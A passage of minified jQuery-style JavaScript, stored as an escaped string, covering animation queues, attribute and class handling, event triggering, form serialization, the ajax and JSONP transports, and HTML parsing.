m||(m[o]=a.start,g&&(a.end=a.start,a.start=0))}],prefilter:function(e,t){t?ut.prefilters.unshift(e):ut.prefilters.push(e)}}),E.speed=function(e,t,n){var o=e&&\\\"object\\\"==typeof e?E.extend({},e):{complete:n||!n&&t||E.isFunction(e)&&e,duration:e,easing:n&&t||t&&!E.isFunction(t)&&t};return E.fx.off?o.duration=0:\\\"number\\\"!=typeof o.duration&&(o.duration in E.fx.speeds?o.duration=E.fx.speeds[o.duration]:o.duration=E.fx.speeds._default),null!=o.queue&&!0!==o.queue||(o.queue=\\\"fx\\\"),o.old=o.complete,o.complete=function(){E.isFunction(o.old)&&o.old.call(this),o.queue&&E.dequeue(this,o.queue)},o},E.fn.extend({fadeTo:function(e,t,n,o){return this.filter(ee).css(\\\"opacity\\\",0).show().end().animate({opacity:t},e,n,o)},animate:function(t,e,n,o){var r=E.isEmptyObject(t),i=E.speed(e,n,o),l=function(){var e=ut(this,E.extend({},t),i);(r||X.get(this,\\\"finish\\\"))&&e.stop(!0)};return l.finish=l,r||!1===i.queue?this.each(l):this.queue(i.queue,l)},stop:function(r,e,i){var l=function(e){var t=e.stop;delete e.stop,t(i)};return\\\"string\\\"!=typeof r&&(i=e,e=r,r=void 0),e&&!1!==r&&this.queue(r||\\\"fx\\\",[]),this.each(function(){var e=!0,t=null!=r&&r+\\\"queueHooks\\\",n=E.timers,o=X.get(this);if(t)o[t]&&o[t].stop&&l(o[t]);else for(t in o)o[t]&&o[t].stop&&it.test(t)&&l(o[t]);for(t=n.length;t--;)n[t].elem!==this||null!=r&&n[t].queue!==r||(n[t].anim.stop(i),e=!1,n.splice(t,1));!e&&i||E.dequeue(this,r)})},finish:function(l){return!1!==l&&(l=l||\\\"fx\\\"),this.each(function(){var e,t=X.get(this),n=t[l+\\\"queue\\\"],o=t[l+\\\"queueHooks\\\"],r=E.timers,i=n?n.length:0;for(t.finish=!0,E.queue(this,l,[]),o&&o.stop&&o.stop.call(this,!0),e=r.length;e--;)r[e].elem===this&&r[e].queue===l&&(r[e].anim.stop(!0),r.splice(e,1));for(e=0;e<i;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),E.each([\\\"toggle\\\",\\\"show\\\",\\\"hide\\\"],function(e,o){var r=E.fn[o];E.fn[o]=function(e,t,n){return null==e||\\\"boolean\\\"==typeof e?r.apply(this,arguments):this.animate(at(o,!0),e,t,n)}}),E.each({slideDown:at(\\\"show\\\"),slideUp:at(\\\"hide\\\"),slideToggle:at(\\\"toggle\\\"),fadeIn:{opacity:\\\"show\\\"},fadeOut:{opacity:\\\"hide\\\"},fadeToggle:{opacity:\\\"toggle\\\"}},function(e,o){E.fn[e]=function(e,t,n){return this.animate(o,e,t,n)}}),E.timers=[],E.fx.tick=function(){var e,t=0,n=E.timers;for(Ze=E.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||E.fx.stop(),Ze=void 0},E.fx.timer=function(e){E.timers.push(e),E.fx.start()},E.fx.interval=13,E.fx.start=function(){et||(et=!0,lt())},E.fx.stop=function(){et=null},E.fx.speeds={slow:600,fast:200,_default:400},E.fn.delay=function(o,e){return o=E.fx&&E.fx.speeds[o]||o,e=e||\\\"fx\\\",this.queue(e,function(e,t){var n=R.setTimeout(e,o);t.stop=function(){R.clearTimeout(n)}})},tt=S.createElement(\\\"input\\\"),nt=S.createElement(\\\"select\\\"),ot=nt.appendChild(S.createElement(\\\"option\\\")),tt.type=\\\"checkbox\\\",m.checkOn=\\\"\\\"!==tt.value,m.optSelected=ot.selected,(tt=S.createElement(\\\"input\\\")).value=\\\"t\\\",tt.type=\\\"radio\\\",m.radioValue=\\\"t\\\"===tt.value;var dt,pt=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return q(this,E.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){E.removeAttr(this,e)})}}),E.extend({attr:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return void 0===e.getAttribute?E.prop(e,t,n):(1===i&&E.isXMLDoc(e)||(r=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void E.removeAttr(e,t):r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:(e.setAttribute(t,n+\\\"\\\"),n):r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:null==(o=E.find.attr(e,t))?void 0:o)},attrHooks:{type:{set:function(e,t){if(!m.radioValue&&\\\"radio\\\"===t&&k(e,\\\"input\\\")){var n=e.value;return e.setAttribute(\\\"type\\\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,o=0,r=t&&t.match(_);if(r&&1===e.nodeType)for(;n=r[o++];)e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?E.removeAttr(e,n):e.setAttribute(n,n),n}},E.each(E.expr.match.bool.source.match(/\\\\w+/g),function(e,t){var l=pt[t]||E.find.attr;pt[t]=function(e,t,n){var o,r,i=t.toLowerCase();return n||(r=pt[i],pt[i]=o,o=null!=l(e,t,n)?i:null,pt[i]=r),o}});var ft=/^(?:input|select|textarea|button)$/i,ht=/^(?:a|area)$/i;function gt(e){var t=e.match(_)||[];return t.join(\\\" \\\")}function mt(e){return e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\"}E.fn.extend({prop:function(e,t){return q(this,E.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[E.propFix[e]||e]})}}),E.extend({prop:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&E.isXMLDoc(e)||(t=E.propFix[t]||t,r=E.propHooks[t]),void 0!==n?r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:e[t]=n:r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,\\\"tabindex\\\");return t?parseInt(t,10):ft.test(e.nodeName)||ht.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\\\"htmlFor\\\",class:\\\"className\\\"}}),m.optSelected||(E.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),E.each([\\\"tabIndex\\\",\\\"readOnly\\\",\\\"maxLength\\\",\\\"cellSpacing\\\",\\\"cellPadding\\\",\\\"rowSpan\\\",\\\"colSpan\\\",\\\"useMap\\\",\\\"frameBorder\\\",\\\"contentEditable\\\"],function(){E.propFix[this.toLowerCase()]=this}),E.fn.extend({addClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).addClass(t.call(this,e,mt(this)))});if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)o.indexOf(\\\" \\\"+i+\\\" \\\")<0&&(o+=i+\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},removeClass:function(t){var e,n,o,r,i,l,s,a=0;if(E.isFunction(t))return this.each(function(e){E(this).removeClass(t.call(this,e,mt(this)))});if(!arguments.length)return this.attr(\\\"class\\\",\\\"\\\");if(\\\"string\\\"==typeof t&&t)for(e=t.match(_)||[];n=this[a++];)if(r=mt(n),o=1===n.nodeType&&\\\" \\\"+gt(r)+\\\" \\\"){for(l=0;i=e[l++];)for(;-1<o.indexOf(\\\" \\\"+i+\\\" \\\");)o=o.replace(\\\" \\\"+i+\\\" \\\",\\\" \\\");s=gt(o),r!==s&&n.setAttribute(\\\"class\\\",s)}return this},toggleClass:function(r,t){var i=typeof r;return\\\"boolean\\\"==typeof t&&\\\"string\\\"===i?t?this.addClass(r):this.removeClass(r):E.isFunction(r)?this.each(function(e){E(this).toggleClass(r.call(this,e,mt(this),t),t)}):this.each(function(){var e,t,n,o;if(\\\"string\\\"===i)for(t=0,n=E(this),o=r.match(_)||[];e=o[t++];)n.hasClass(e)?n.removeClass(e):n.addClass(e);else void 0!==r&&\\\"boolean\\\"!==i||((e=mt(this))&&X.set(this,\\\"__className__\\\",e),this.setAttribute&&this.setAttribute(\\\"class\\\",e||!1===r?\\\"\\\":X.get(this,\\\"__className__\\\")||\\\"\\\"))})},hasClass:function(e){var t,n,o=0;for(t=\\\" \\\"+e+\\\" \\\";n=this[o++];)if(1===n.nodeType&&-1<(\\\" \\\"+gt(mt(n))+\\\" \\\").indexOf(t))return!0;return!1}});var vt=/\\\\r/g;E.fn.extend({val:function(n){var o,e,r,t=this[0];return arguments.length?(r=E.isFunction(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=r?n.call(this,e,E(this).val()):n)?t=\\\"\\\":\\\"number\\\"==typeof t?t+=\\\"\\\":Array.isArray(t)&&(t=E.map(t,function(e){return null==e?\\\"\\\":e+\\\"\\\"})),(o=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()])&&\\\"set\\\"in o&&void 0!==o.set(this,t,\\\"value\\\")||(this.value=t))})):t?(o=E.valHooks[t.type]||E.valHooks[t.nodeName.toLowerCase()])&&\\\"get\\\"in o&&void 0!==(e=o.get(t,\\\"value\\\"))?e:\\\"string\\\"==typeof(e=t.value)?e.replace(vt,\\\"\\\"):null==e?\\\"\\\":e:void 0}}),E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,\\\"value\\\");return null!=t?t:gt(E.text(e))}},select:{get:function(e){var t,n,o,r=e.options,i=e.selectedIndex,l=\\\"select-one\\\"===e.type,s=l?null:[],a=l?i+1:r.length;for(o=i<0?a:l?i:0;o<a;o++)if(((n=r[o]).selected||o===i)&&!n.disabled&&(!n.parentNode.disabled||!k(n.parentNode,\\\"optgroup\\\"))){if(t=E(n).val(),l)return t;s.push(t)}return s},set:function(e,t){for(var n,o,r=e.options,i=E.makeArray(t),l=r.length;l--;)((o=r[l]).selected=-1<E.inArray(E.valHooks.option.get(o),i))&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),E.each([\\\"radio\\\",\\\"checkbox\\\"],function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<E.inArray(E(e).val(),t)}},m.checkOn||(E.valHooks[this].get=function(e){return null===e.getAttribute(\\\"value\\\")?\\\"on\\\":e.value})});var wt=/^(?:focusinfocus|focusoutblur)$/;E.extend(E.event,{trigger:function(e,t,n,o){var r,i,l,s,a,c,u,d=[n||S],p=h.call(e,\\\"type\\\")?e.type:e,f=h.call(e,\\\"namespace\\\")?e.namespace.split(\\\".\\\"):[];if(i=l=n=n||S,3!==n.nodeType&&8!==n.nodeType&&!wt.test(p+E.event.triggered)&&(-1<p.indexOf(\\\".\\\")&&(p=(f=p.split(\\\".\\\")).shift(),f.sort()),a=p.indexOf(\\\":\\\")<0&&\\\"on\\\"+p,(e=e[E.expando]?e:new E.Event(p,\\\"object\\\"==typeof e&&e)).isTrigger=o?2:3,e.namespace=f.join(\\\".\\\"),e.rnamespace=e.namespace?new RegExp(\\\"(^|\\\\\\\\.)\\\"+f.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:E.makeArray(t,[e]),u=E.event.special[p]||{},o||!u.trigger||!1!==u.trigger.apply(n,t))){if(!o&&!u.noBubble&&!E.isWindow(n)){for(s=u.delegateType||p,wt.test(s+p)||(i=i.parentNode);i;i=i.parentNode)d.push(i),l=i;l===(n.ownerDocument||S)&&d.push(l.defaultView||l.parentWindow||R)}for(r=0;(i=d[r++])&&!e.isPropagationStopped();)e.type=1<r?s:u.bindType||p,(c=(X.get(i,\\\"events\\\")||{})[e.type]&&X.get(i,\\\"handle\\\"))&&c.apply(i,t),(c=a&&i[a])&&c.apply&&O(i)&&(e.result=c.apply(i,t),!1===e.result&&e.preventDefault());return e.type=p,o||e.isDefaultPrevented()||u._default&&!1!==u._default.apply(d.pop(),t)||!O(n)||a&&E.isFunction(n[p])&&!E.isWindow(n)&&((l=n[a])&&(n[a]=null),E.event.triggered=p,n[p](),E.event.triggered=void 0,l&&(n[a]=l)),e.result}},simulate:function(e,t,n){var o=E.extend(new E.Event,n,{type:e,isSimulated:!0});E.event.trigger(o,null,t)}}),E.fn.extend({trigger:function(e,t){return this.each(function(){E.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return E.event.trigger(e,t,n,!0)}}),E.each(\\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\\".split(\\\" \\\"),function(e,n){E.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),E.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),m.focusin=\\\"onfocusin\\\"in R,m.focusin||E.each({focus:\\\"focusin\\\",blur:\\\"focusout\\\"},function(n,o){var r=function(e){E.event.simulate(o,e.target,E.event.fix(e))};E.event.special[o]={setup:function(){var e=this.ownerDocument||this,t=X.access(e,o);t||e.addEventListener(n,r,!0),X.access(e,o,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=X.access(e,o)-1;t?X.access(e,o,t):(e.removeEventListener(n,r,!0),X.remove(e,o))}}});var yt=R.location,Ct=E.now(),bt=/\\\\?/;E.parseXML=function(e){var t;if(!e||\\\"string\\\"!=typeof e)return null;try{t=(new R.DOMParser).parseFromString(e,\\\"text/xml\\\")}catch(e){t=void 0}return t&&!t.getElementsByTagName(\\\"parsererror\\\").length||E.error(\\\"Invalid XML: \\\"+e),t};var xt=/\\\\[\\\\]$/,Rt=/\\\\r?\\\\n/g,St=/^(?:submit|button|image|reset|file)$/i,Et=/^(?:input|select|textarea|keygen)/i;function kt(n,e,o,r){var t;if(Array.isArray(e))E.each(e,function(e,t){o||xt.test(n)?r(n,t):kt(n+\\\"[\\\"+(\\\"object\\\"==typeof t&&null!=t?e:\\\"\\\")+\\\"]\\\",t,o,r)});else if(o||\\\"object\\\"!==E.type(e))r(n,e);else for(t in e)kt(n+\\\"[\\\"+t+\\\"]\\\",e[t],o,r)}E.param=function(e,t){var n,o=[],r=function(e,t){var n=E.isFunction(t)?t():t;o[o.length]=encodeURIComponent(e)+\\\"=\\\"+encodeURIComponent(null==n?\\\"\\\":n)};if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e))E.each(e,function(){r(this.name,this.value)});else for(n in e)kt(n,e[n],t,r);return o.join(\\\"&\\\")},E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=E.prop(this,\\\"elements\\\");return e?E.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!E(this).is(\\\":disabled\\\")&&Et.test(this.nodeName)&&!St.test(e)&&(this.checked||!le.test(e))}).map(function(e,t){var n=E(this).val();return null==n?null:Array.isArray(n)?E.map(n,function(e){return{name:t.name,value:e.replace(Rt,\\\"\\\\r\\\\n\\\")}}):{name:t.name,value:n.replace(Rt,\\\"\\\\r\\\\n\\\")}}).get()}});var Tt=/%20/g,Pt=/#.*$/,Dt=/([?&])_=[^&]*/,At=/^(.*?):[ \\\\t]*([^\\\\r\\\\n]*)$/gm,Nt=/^(?:GET|HEAD)$/,$t=/^\\\\/\\\\//,Ht={},Lt={},Ft=\\\"*/\\\".concat(\\\"*\\\"),_t=S.createElement(\\\"a\\\");function It(i){return function(e,t){\\\"string\\\"!=typeof e&&(t=e,e=\\\"*\\\");var n,o=0,r=e.toLowerCase().match(_)||[];if(E.isFunction(t))for(;n=r[o++];)\\\"+\\\"===n[0]?(n=n.slice(1)||\\\"*\\\",(i[n]=i[n]||[]).unshift(t)):(i[n]=i[n]||[]).push(t)}}function Mt(t,r,i,l){var s={},a=t===Lt;function c(e){var o;return s[e]=!0,E.each(t[e]||[],function(e,t){var n=t(r,i,l);return\\\"string\\\"!=typeof n||a||s[n]?a?!(o=n):void 0:(r.dataTypes.unshift(n),c(n),!1)}),o}return c(r.dataTypes[0])||!s[\\\"*\\\"]&&c(\\\"*\\\")}function Wt(e,t){var n,o,r=E.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((r[n]?e:o||(o={}))[n]=t[n]);return o&&E.extend(!0,e,o),e}_t.href=yt.href,E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yt.href,type:\\\"GET\\\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(yt.protocol),global:!0,processData:!0,async:!0,contentType:\\\"application/x-www-form-urlencoded; charset=UTF-8\\\",accepts:{\\\"*\\\":Ft,text:\\\"text/plain\\\",html:\\\"text/html\\\",xml:\\\"application/xml, text/xml\\\",json:\\\"application/json, text/javascript\\\"},contents:{xml:/\\\\bxml\\\\b/,html:/\\\\bhtml/,json:/\\\\bjson\\\\b/},responseFields:{xml:\\\"responseXML\\\",text:\\\"responseText\\\",json:\\\"responseJSON\\\"},converters:{\\\"* text\\\":String,\\\"text html\\\":!0,\\\"text json\\\":JSON.parse,\\\"text xml\\\":E.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Wt(Wt(e,E.ajaxSettings),t):Wt(E.ajaxSettings,e)},ajaxPrefilter:It(Ht),ajaxTransport:It(Lt),ajax:function(e,t){\\\"object\\\"==typeof e&&(t=e,e=void 0),t=t||{};var u,d,p,n,f,o,h,g,r,i,m=E.ajaxSetup({},t),v=m.context||m,w=m.context&&(v.nodeType||v.jquery)?E(v):E.event,y=E.Deferred(),C=E.Callbacks(\\\"once memory\\\"),b=m.statusCode||{},l={},s={},a=\\\"canceled\\\",x={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n)for(n={};t=At.exec(p);)n[t[1].toLowerCase()]=t[2];t=n[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,l[e]=t),this},overrideMimeType:function(e){return null==h&&(m.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)x.always(e[x.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||a;return u&&u.abort(t),c(0,t),this}};if(y.promise(x),m.url=((e||m.url||yt.href)+\\\"\\\").replace($t,yt.protocol+\\\"//\\\"),m.type=t.method||t.type||m.method||m.type,m.dataTypes=(m.dataType||\\\"*\\\").toLowerCase().match(_)||[\\\"\\\"],null==m.crossDomain){o=S.createElement(\\\"a\\\");try{o.href=m.url,o.href=o.href,m.crossDomain=_t.protocol+\\\"//\\\"+_t.host!=o.protocol+\\\"//\\\"+o.host}catch(e){m.crossDomain=!0}}if(m.data&&m.processData&&\\\"string\\\"!=typeof m.data&&(m.data=E.param(m.data,m.traditional)),Mt(Ht,m,t,x),h)return x;for(r in(g=E.event&&m.global)&&0==E.active++&&E.event.trigger(\\\"ajaxStart\\\"),m.type=m.type.toUpperCase(),m.hasContent=!Nt.test(m.type),d=m.url.replace(Pt,\\\"\\\"),m.hasContent?m.data&&m.processData&&0===(m.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&(m.data=m.data.replace(Tt,\\\"+\\\")):(i=m.url.slice(d.length),m.data&&(d+=(bt.test(d)?\\\"&\\\":\\\"?\\\")+m.data,delete m.data),!1===m.cache&&(d=d.replace(Dt,\\\"$1\\\"),i=(bt.test(d)?\\\"&\\\":\\\"?\\\")+\\\"_=\\\"+Ct+++i),m.url=d+i),m.ifModified&&(E.lastModified[d]&&x.setRequestHeader(\\\"If-Modified-Since\\\",E.lastModified[d]),E.etag[d]&&x.setRequestHeader(\\\"If-None-Match\\\",E.etag[d])),(m.data&&m.hasContent&&!1!==m.contentType||t.contentType)&&x.setRequestHeader(\\\"Content-Type\\\",m.contentType),x.setRequestHeader(\\\"Accept\\\",m.dataTypes[0]&&m.accepts[m.dataTypes[0]]?m.accepts[m.dataTypes[0]]+(\\\"*\\\"!==m.dataTypes[0]?\\\", \\\"+Ft+\\\"; q=0.01\\\":\\\"\\\"):m.accepts[\\\"*\\\"]),m.headers)x.setRequestHeader(r,m.headers[r]);if(m.beforeSend&&(!1===m.beforeSend.call(v,x,m)||h))return x.abort();if(a=\\\"abort\\\",C.add(m.complete),x.done(m.success),x.fail(m.error),u=Mt(Lt,m,t,x)){if(x.readyState=1,g&&w.trigger(\\\"ajaxSend\\\",[x,m]),h)return x;m.async&&0<m.timeout&&(f=R.setTimeout(function(){x.abort(\\\"timeout\\\")},m.timeout));try{h=!1,u.send(l,c)}catch(e){if(h)throw e;c(-1,e)}}else c(-1,\\\"No Transport\\\");function c(e,t,n,o){var r,i,l,s,a,c=t;h||(h=!0,f&&R.clearTimeout(f),u=void 0,p=o||\\\"\\\",x.readyState=0<e?4:0,r=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var o,r,i,l,s=e.contents,a=e.dataTypes;for(;\\\"*\\\"===a[0];)a.shift(),void 0===o&&(o=e.mimeType||t.getResponseHeader(\\\"Content-Type\\\"));if(o)for(r in s)if(s[r]&&s[r].test(o)){a.unshift(r);break}if(a[0]in n)i=a[0];else{for(r in n){if(!a[0]||e.converters[r+\\\" \\\"+a[0]]){i=r;break}l||(l=r)}i=i||l}if(i)return i!==a[0]&&a.unshift(i),n[i]}(m,x,n)),s=function(e,t,n,o){var r,i,l,s,a,c={},u=e.dataTypes.slice();if(u[1])for(l in e.converters)c[l.toLowerCase()]=e.converters[l];i=u.shift();for(;i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!a&&o&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a=i,i=u.shift())if(\\\"*\\\"===i)i=a;else if(\\\"*\\\"!==a&&a!==i){if(!(l=c[a+\\\" \\\"+i]||c[\\\"* \\\"+i]))for(r in c)if((s=r.split(\\\" \\\"))[1]===i&&(l=c[a+\\\" \\\"+s[0]]||c[\\\"* \\\"+s[0]])){!0===l?l=c[r]:!0!==c[r]&&(i=s[0],u.unshift(s[1]));break}if(!0!==l)if(l&&e.throws)t=l(t);else try{t=l(t)}catch(e){return{state:\\\"parsererror\\\",error:l?e:\\\"No conversion from \\\"+a+\\\" to \\\"+i}}}return{state:\\\"success\\\",data:t}}(m,s,x,r),r?(m.ifModified&&((a=x.getResponseHeader(\\\"Last-Modified\\\"))&&(E.lastModified[d]=a),(a=x.getResponseHeader(\\\"etag\\\"))&&(E.etag[d]=a)),204===e||\\\"HEAD\\\"===m.type?c=\\\"nocontent\\\":304===e?c=\\\"notmodified\\\":(c=s.state,i=s.data,l=s.error,r=!l)):(l=c,!e&&c||(c=\\\"error\\\",e<0&&(e=0))),x.status=e,x.statusText=(t||c)+\\\"\\\",r?y.resolveWith(v,[i,c,x]):y.rejectWith(v,[x,c,l]),x.statusCode(b),b=void 0,g&&w.trigger(r?\\\"ajaxSuccess\\\":\\\"ajaxError\\\",[x,m,r?i:l]),C.fireWith(v,[x,c]),g&&(w.trigger(\\\"ajaxComplete\\\",[x,m]),--E.active||E.event.trigger(\\\"ajaxStop\\\")))}return x},getJSON:function(e,t,n){return E.get(e,t,n,\\\"json\\\")},getScript:function(e,t){return E.get(e,void 0,t,\\\"script\\\")}}),E.each([\\\"get\\\",\\\"post\\\"],function(e,r){E[r]=function(e,t,n,o){return E.isFunction(t)&&(o=o||n,n=t,t=void 0),E.ajax(E.extend({url:e,type:r,dataType:o,data:t,success:n},E.isPlainObject(e)&&e))}}),E._evalUrl=function(e){return E.ajax({url:e,type:\\\"GET\\\",dataType:\\\"script\\\",cache:!0,async:!1,global:!1,throws:!0})},E.fn.extend({wrapAll:function(e){var t;return this[0]&&(E.isFunction(e)&&(e=e.call(this[0])),t=E(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return E.isFunction(n)?this.each(function(e){E(this).wrapInner(n.call(this,e))}):this.each(function(){var e=E(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=E.isFunction(t);return this.each(function(e){E(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(\\\"body\\\").each(function(){E(this).replaceWith(this.childNodes)}),this}}),E.expr.pseudos.hidden=function(e){return!E.expr.pseudos.visible(e)},E.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},E.ajaxSettings.xhr=function(){try{return new R.XMLHttpRequest}catch(e){}};var jt={0:200,1223:204},Vt=E.ajaxSettings.xhr();m.cors=!!Vt&&\\\"withCredentials\\\"in Vt,m.ajax=Vt=!!Vt,E.ajaxTransport(function(r){var i,l;if(m.cors||Vt&&!r.crossDomain)return{send:function(e,t){var n,o=r.xhr();if(o.open(r.type,r.url,r.async,r.username,r.password),r.xhrFields)for(n in r.xhrFields)o[n]=r.xhrFields[n];for(n in r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.crossDomain||e[\\\"X-Requested-With\\\"]||(e[\\\"X-Requested-With\\\"]=\\\"XMLHttpRequest\\\"),e)o.setRequestHeader(n,e[n]);i=function(e){return function(){i&&(i=l=o.onload=o.onerror=o.onabort=o.onreadystatechange=null,\\\"abort\\\"===e?o.abort():\\\"error\\\"===e?\\\"number\\\"!=typeof o.status?t(0,\\\"error\\\"):t(o.status,o.statusText):t(jt[o.status]||o.status,o.statusText,\\\"text\\\"!==(o.responseType||\\\"text\\\")||\\\"string\\\"!=typeof o.responseText?{binary:o.response}:{text:o.responseText},o.getAllResponseHeaders()))}},o.onload=i(),l=o.onerror=i(\\\"error\\\"),void 0!==o.onabort?o.onabort=l:o.onreadystatechange=function(){4===o.readyState&&R.setTimeout(function(){i&&l()})},i=i(\\\"abort\\\");try{o.send(r.hasContent&&r.data||null)}catch(e){if(i)throw e}},abort:function(){i&&i()}}}),E.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),E.ajaxSetup({accepts:{script:\\\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\\\"},contents:{script:/\\\\b(?:java|ecma)script\\\\b/},converters:{\\\"text script\\\":function(e){return E.globalEval(e),e}}}),E.ajaxPrefilter(\\\"script\\\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\\\"GET\\\")}),E.ajaxTransport(\\\"script\\\",function(n){var o,r;if(n.crossDomain)return{send:function(e,t){o=E(\\\"<script>\\\").prop({charset:n.scriptCharset,src:n.url}).on(\\\"load error\\\",r=function(e){o.remove(),r=null,e&&t(\\\"error\\\"===e.type?404:200,e.type)}),S.head.appendChild(o[0])},abort:function(){r&&r()}}});var Bt,qt=[],Ot=/(=)\\\\?(?=&|$)|\\\\?\\\\?/;E.ajaxSetup({jsonp:\\\"callback\\\",jsonpCallback:function(){var e=qt.pop()||E.expando+\\\"_\\\"+Ct++;return this[e]=!0,e}}),E.ajaxPrefilter(\\\"json jsonp\\\",function(e,t,n){var o,r,i,l=!1!==e.jsonp&&(Ot.test(e.url)?\\\"url\\\":\\\"string\\\"==typeof e.data&&0===(e.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&Ot.test(e.data)&&\\\"data\\\");if(l||\\\"jsonp\\\"===e.dataTypes[0])return o=e.jsonpCallback=E.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,l?e[l]=e[l].replace(Ot,\\\"$1\\\"+o):!1!==e.jsonp&&(e.url+=(bt.test(e.url)?\\\"&\\\":\\\"?\\\")+e.jsonp+\\\"=\\\"+o),e.converters[\\\"script json\\\"]=function(){return i||E.error(o+\\\" was not called\\\"),i[0]},e.dataTypes[0]=\\\"json\\\",r=R[o],R[o]=function(){i=arguments},n.always(function(){void 0===r?E(R).removeProp(o):R[o]=r,e[o]&&(e.jsonpCallback=t.jsonpCallback,qt.push(o)),i&&E.isFunction(r)&&r(i[0]),i=r=void 0}),\\\"script\\\"}),m.createHTMLDocument=((Bt=S.implementation.createHTMLDocument(\\\"\\\").body).innerHTML=\\\"<form></form><form></form>\\\",2===Bt.childNodes.length),E.parseHTML=function(e,t,n){return\\\"string\\\"!=typeof e?[]:(\\\"boolean\\\"==typeof t&&(n=t,t=!1),t||(m.createHTMLDocument?(t=S.implementation.createHTMLDocument(\\\"\\\"),(o=t.createElement(\\\"base\\\")).href=S.location.href,t.head.appendChild(o)):t=S),r=T.exec(e),i=!n&&[],r?[t.createElement(r[1])]:(r=me([e],t,i),i&&i.length&&E(i).remove(),E.merge([],r.childNodes)));var o,r,i},E.fn.load=function(e,t,n){var o,r,i,l=this,s=e.indexOf(\\\" \\\");return-1<s&&(o=gt(e.slice(s)),e=e.slice(0,s)),E.isFunction(t)?(n=t,t=void 0):t&&\\\"object\\\"==typeof t&&(r=\\\"POST\\\"),0<l.length&&E.ajax({url:e,type:r||\\\"GET\\\",dataType:\\\"html\\\",data:t}).done(function(e){i=arguments,l.html(o?E(\\\"<div>\\\").append(E.parseHTML(e)).find(o):e)}).always(n&&function(e,t){l.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},E.each([\\\"ajaxStart\\\",\\\"ajaxStop\\\",\\\"ajaxComplete\\\",\\\"ajaxError\\\",\\\"ajaxSuccess\\\",\\\"ajaxSend\\\"],function(e,t){E.fn[t]=function(e){return this.on(t,e)}}),E.expr.pseudos.animated=function(t){return E.grep(E.timers,function(e){return t===e.elem}).length},E.offset={setOffset:function(e,t,n){var 